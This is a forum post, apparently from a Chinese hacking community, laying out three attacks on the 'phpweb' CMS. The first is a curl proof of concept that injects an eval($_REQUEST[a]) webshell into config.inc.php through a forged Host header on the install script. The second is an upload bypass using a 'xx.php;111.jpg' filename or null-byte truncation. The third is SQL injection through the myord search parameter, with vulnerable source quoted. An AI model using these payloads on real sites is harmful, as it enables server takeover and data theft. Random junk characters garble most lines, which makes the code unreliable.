找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2492|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
1 ?- K4 z# w8 Q6 q1 R3 x! ]' f/ J+ C
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
- r& \& d- }3 k - h; T- f  m. M* P& ^( l: n) [8 b
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件/ x+ z- \9 ^! v, y
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
' r* ~: K* ^! J% G  I; d
0 \! c1 Z7 N" m& F$ l/ r3 W7 i虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响: o$ A8 r5 E* b) X2 }/ h7 j7 E9 b) ~: D
; p! D+ H7 C  Y. A1 t
分析:3 C! v+ v* ]) @  k  X
% J; B- q( ^2 A, ]" S" [9 o1 ]% g  u
! y( H+ O3 X2 b5 C, a/ t7 ]% p# j' L
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤' i7 G* n5 _: T% f1 ~
' U0 p$ W6 ]5 Y7 {/ [) \2 h
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);4 a1 ^" y( p- t; m% V. F1 p
                                            $filestr=str_replace(" ","",$filestr);
, L8 O7 j% ^$ o( v4 X  Y                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& |! {3 f. a) i2 d% C. h, Q/ k
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
- _+ H: H& |( O8 M                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ f6 p' y, ?3 J3 X" K7 t                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);4 Z) b, x! t) G: \, [) K
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);/ E; F. {& \' J! R1 ^
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
" g$ u3 g: J% r0 h) x. e4 u                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);5 f; o% {3 l3 |: w4 l
2 h9 ?, b5 @2 e1 S" H
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
  J, x' m2 ?/ D9 l- W8 c$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; w& g9 R; ~; Q* B7 g3 q% W

! I2 @0 `9 L2 d: L' b$ h% s' Ppoc:
+ {$ s( B) q- Y6 Q ( z% E4 N; b% s; G# E5 w
?4 F8 V0 P# o+ o0 I/ `; s
12 d& t2 O/ }7 C" g7 c" C
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"  r. p# ?% Q% I( j6 X2 a
shell地址: /config.inc.php5 X! o' ?+ C- P2 V1 @6 e
跟之前的 phpcms一样 需要远程数据库
) e2 ]% K' d- L" D8 v0 W1 t ( t. e" ]6 `- N
——————————————————–
7 d8 J8 s. k) k上传漏洞(需要进后台):) e4 @  W0 I9 I8 a8 K, F
漏洞文件: /kedit/upload_cgi/upload.php9 ?$ s& Q& n: V3 g& ^% Q
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
7 }7 Z$ }7 ?" f7 i& Q , [: e. @: {5 {

9 a$ q3 `( @# B, [) |5 x<?php
  S+ h0 j7 s0 w6 W% @0 n    define("ROOTPATH", "../../");% F$ I4 }  ]1 P0 \3 ?) S/ L
    include(ROOTPATH."includes/admin.inc.php");' ^% c) D+ e$ X! T7 k
    NeedAuth(0);1 w7 N& u8 U5 F

0 n. E. t  N. d2 b    $dt=date("Ymd",time());
0 h9 x& Q! I9 K) H0 P% T6 C  \    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){" z0 l7 x& C; p0 u
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);1 t1 G8 j4 N  J6 Z! d  M8 Y& e8 w( i2 {
    }
, K5 ?6 s8 d, l! ]5 j9 c 3 V  |+ ^2 [5 l5 Y* O% W
    //文件保存目录路径* X8 T! u5 L+ [' C
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
! z. X; b0 h* q$ e    echo $save_path;7 ]5 G7 s; C/ q: g, N, k, V
    //文件保存目录URL( ]$ U  T, A0 w9 W  f. e8 b( s
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
! [* t2 a8 E! _$ L7 N! @, \8 G9 d. }: G . ]6 `9 n$ g, l8 Z8 p( c
    //定义允许上传的文件扩展名
, |! \4 u8 V3 }* z9 V6 W" @    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀* q# I8 Z& E0 \( C: @
" k' P6 R8 W) D4 A: u6 R/ H
    //最大文件大小5 D' G* V% u5 ]7 S1 d
    $max_size = 1000000;
  U  S) g5 r3 O
- r' N' W" `$ d/ u" C9 |    //更改目录权限
3 }% a; V* P1 k    @mkdir($save_path, 0777);) e! w0 }- Y: G9 x- H2 K

1 Y) y: P+ d2 c" g    //文件的全部路径
$ u, t( z8 H2 i) d7 E" x; K2 p) Z2 G    $file_path = $save_path.$_POST['fileName'];   //保存文件名, k) i4 `. E* w- B. B

3 K/ _! M6 ]: B! i: L9 w, T    //文件URL
) s; J6 `' [6 a. m: D: Z$ K    $file_url = $save_url.$_POST['fileName'];6 l4 l$ C: g9 H
//有上传文件时
1 F& T3 k) |3 k1 E& f    if (empty($_FILES) === false) {! }" @! ?- r- W: Q
1 o7 O  @; M, n, G6 o/ s
            //原文件名& F0 i& v( D6 K0 }4 k- o
            $file_name = $_FILES['fileData']['name'];
! T$ ]$ ^# o, {/ i2 G; j            //服务器上临时文件名
# j! A( X- h* W            $tmp_name = $_FILES['fileData']['tmp_name'];; |' X; z1 @0 @( W* |3 z
            //文件大小* O* R2 M* J4 x$ z
            $file_size = $_FILES['fileData']['size'];
' @' m+ x: F  G: q! s; g- Q: W            //检查目录
. z5 h7 U& }2 t- v: }6 H! I            if (@is_dir($save_path) === false) {
4 b, k- Q' R" A  X0 r- e! L, r                    alert("上传目录不存在。");" l; h) b+ n8 {  L+ Q
            }& P- m% f/ B! K
            //检查目录写权限" M% r0 l! g. w+ q- P% F
            if (@is_writable($save_path) === false) {
4 Q$ q' u# F2 k- F) k0 f  t# R                    alert("上传目录没有写权限。");+ p2 z! t( C1 x8 p# [" Y+ f
            }
) ]8 p2 \7 W( s" m            //检查是否已上传
7 l# Q; t0 i" J/ K7 ^! z            if (@is_uploaded_file($tmp_name) === false) {
0 D2 E7 f7 p9 ]3 u" F                    alert("临时文件可能不是上传文件。");( n8 w9 }% K/ m" K
            }& x* g1 o) S6 q4 V# C0 r0 A4 e1 r0 G6 R
            //检查文件大小' N7 `; `7 Z. h0 Y" B' w
            if ($file_size > $max_size) {% j( K0 w) O: a6 h" Y
                    alert("上传文件大小超过限制。");
8 P7 [+ L5 L0 a: Y% W% M9 o4 |            }
6 f( @3 @9 v( G" w            //获得文件扩展名
: l7 H" T+ ^- o; E& T: q/ ?' O& z1 y            $temp_arr = explode(".", $_POST['fileName']);# I$ W9 [1 K! y7 C/ v
            $file_ext = array_pop($temp_arr);
& |+ o0 O. @- s4 {* ]            $file_ext = trim($file_ext);; J: D# I# L. v! |
            $file_ext = strtolower($file_ext);
" N# x0 \# W) c6 ^ + z4 n1 \' @  U, U% s) K! x. g4 e
            //检查扩展名   8 O. n8 L& K6 ]* M, v  s% D" S3 J
            if (in_array($file_ext, $ext_arr) === false) {     8 E) z( y9 O' W: d9 i8 K' u, X
                    alert("上传文件扩展名是不允许的扩展名。");
5 o4 Z8 x( `6 v( O) z  j            }
% D$ C7 L2 Z, k/ n5 z: B7 E2 m 6 |: D! D/ e8 p. V2 x
            //移动文件   ! {' _. W2 n- o5 i$ B1 o0 f
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^. A8 \# J0 s1 w: `
            if (move_uploaded_file($tmp_name, $file_path) === false) {# w6 C0 ~8 L# `4 t% q2 w% i
                    alert("上传文件失败。");
& r: i: |" ^- r% N* _7 \* C0 f- u            }: |2 V( x& x( z. x/ Q
2 L' h: ?5 Y3 j- ^
            @chmod($file_path,0666);
2 N; k& M6 w$ d) X$ b 3 O3 Q: K; S, }9 K8 Z, v7 G, H5 p
    ?>9 @" v1 ]1 a7 X" h8 l1 J. b3 @) p
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2273 i9 T( S' w; L+ E

; e3 E4 `9 X- f" j/ S) }apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
6 J* [: e$ @8 e6 H6 J$ @- [0 r # ~" k. W( g# u
——————————————————- o7 W# G7 Y+ F5 g) M9 g# v4 M* p
注入漏洞:7 B7 O+ c: B, b( _
漏洞文件:search/module/search.php
8 n2 Z* z. p( w# P4 D/search/index.php?key=1&myord=1 [sqlinjection]3 g- |* G+ E8 F8 Q8 j4 d+ A% ~

% z: I( H% V; U# x4 P 8 {7 q4 D- q& Q0 k" t# p
<?php
4 ?& _. V5 w- e  d* W% c( w   //       ... 省略 n 行...7 j3 ]9 j7 j+ v. {, ?
   //第18行:
8 I8 R7 A7 _& M" U* D( P$ a; b# }1 T           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
" d1 O* W8 \* `4 L) F           $page=htmlspecialchars($_GET["page"]);/ S5 e/ S  z) e
           $myord=htmlspecialchars($_GET["myord"]);/ j; Y6 n  f# v# s# F7 y" G$ N

2 s1 ]/ o8 _% o  ?9 \   //       ... 省略 n 行...5 o! P4 J% m+ T. i" B' D+ O
   $key,$myord 两个参数带入查询
. h2 q9 B; z5 f. N1 b   //第47行 $key:
4 i  @2 ]& E; P! X6 Q8 c
, H) q  u7 q: n( _8 o   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..* P* z( H- V% ], {7 T
8 b9 i$ J8 D% Q' B2 V) x- J
   //第197行 $myord
" [7 |% h: d9 _2 j' M   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
% U4 d) ?7 C5 N$ p " j5 h, I0 V! Y1 v) g
   ?>
3 M0 \& f- N+ S# A* V* i; Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表